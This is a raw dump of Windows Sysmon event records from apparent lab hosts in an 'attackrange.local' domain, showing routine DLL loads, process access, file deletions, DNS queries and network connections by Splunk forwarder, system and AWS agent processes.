(rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000055020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000055016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000055011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.734{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.735{7BD73061-7431-613B-940B-00000000F001}4544C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 22542200x800000000000000055004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.705{7BD73061-728D-613B-560B-00000000F001}4776d2nxq2uap88usk.cloudfront.net02600:9000:225e:2000:a:da5e:7900:93a1;2600:9000:225e:8c00:a:da5e:7900:93a1;2600:9000:225e:5e00:a:da5e:7900:93a1;2600:9000:225e:ac00:a:da5e:7900:93a1;2600:9000:225e:5a00:a:da5e:7900:93a1;2600:9000:225e:9800:a:da5e:7900:93a1;2600:9000:225e:600:a:da5e:7900:93a1;2600:9000:225e:c800:a:da5e:7900:93a1;C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000055003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.303{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=63E62DF8D87F8820FF93E79BFC01BF62,SHA256=217E909ACCF0A07A31A6710B37F48CE476178142ACFEC449FAE15B495A44102D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.303{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3A4CD52B95534C4CBD3754F35A664197,SHA256=7F521A8CC7E779283ADD4ACF6B15957FE3574D17E75D23EEA89A1BFA06DEB75D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:21.303{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A8E47DB2057EA39D417FD01B07D0E1E8,SHA256=64BAFCEE6EA4F0DB780B0C88689C048E3DFAA79EF3DF3C4CAACD1944976A6696,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:22.745{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E0117AEED015644A7684B8003A614C6B,SHA256=6C86F73308D731F40D3B4CE0C7553B18250DBA615DA1AEBC12159ACBADCC3CB1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000055059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.754{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61403- 354300x800000000000000055058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.754{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54272- 354300x800000000000000055057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:19.754{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53621- 23542300x800000000000000055056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:22.429{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B9A20E25E10773499C33B972BE45B09C,SHA256=CE359D5B7A1B92BD1A802A345FDC812F8AD9FBF64CB430C16B13EE56AA431236,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017581Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:22.282{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-050MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017580Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:22.154{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=22FF9E475A70E53C2AAF731BAABCC658,SHA256=C45797E403EFC389F7214F3DEA91DABAC490EF37FC77F2BDB36DC1BF8C950CC6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:23.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9494C9311A167310EAC3111397514A8,SHA256=3E4F510B7BAF46686C455ED9E9FC803B525033347BD0673B0F0C3FF4CBADE6F6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017583Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:23.296{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-051MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017582Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:23.169{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=567D7F931DF97ADA3439CF71CF11154E,SHA256=EBACA53A6F38973E7FB2A04FDDCD223100F46CBC6131863E99581BE405E4968E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:24.513{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BA6E44284F7E1C6CB6084848B5A2C11D,SHA256=D5EA3D207ABAF9BD95A8D353039665F8E5B1D7E1878188C5360502A79905EBD9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017585Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:24.201{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5BE4B3D22CE16A9B3938A179469CEAA6,SHA256=668BB1668B11B7C21F6D7D38304A27CF0C64F43C475F26A8F36C6E1208C67DA3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017584Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:22.538{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50369-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000055064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:23.422{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63133-false10.0.1.12-8000- 23542300x800000000000000055063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:25.528{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E479C29C16666D001DCF7BF19B3161D,SHA256=6F43E43DA15A34C606F179D08A67A0435365F2796EB3AED7C8F5EF32E117CB19,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017586Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:25.248{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ADBCC2262B17BEFC29AFD5210C1632FF,SHA256=230CABFDD647EE139A269179C82C283460612A27FA0E9FAE3141396BA7FB9A23,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:26.575{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B2CDDAECD063AA903609C01AE8E9A1B,SHA256=E9F970BD6A069826B9A3911766F2DB4B28C741A656EB9CB65C599A6B68BFCB9D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017587Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:26.263{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0F3340C386E755D7C144E907BB703741,SHA256=CF42484604C5DF82D1893990D92D45ABBA2F8D578C0349B8206DF954A9520230,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:27.593{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E76E8B1EFFCBACFC5F91F18B957D445E,SHA256=36FA7544DE95D1BC554F9C2BC8CC35FA91170809D035F99A1EB6B8D3401E621F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017588Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:27.326{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 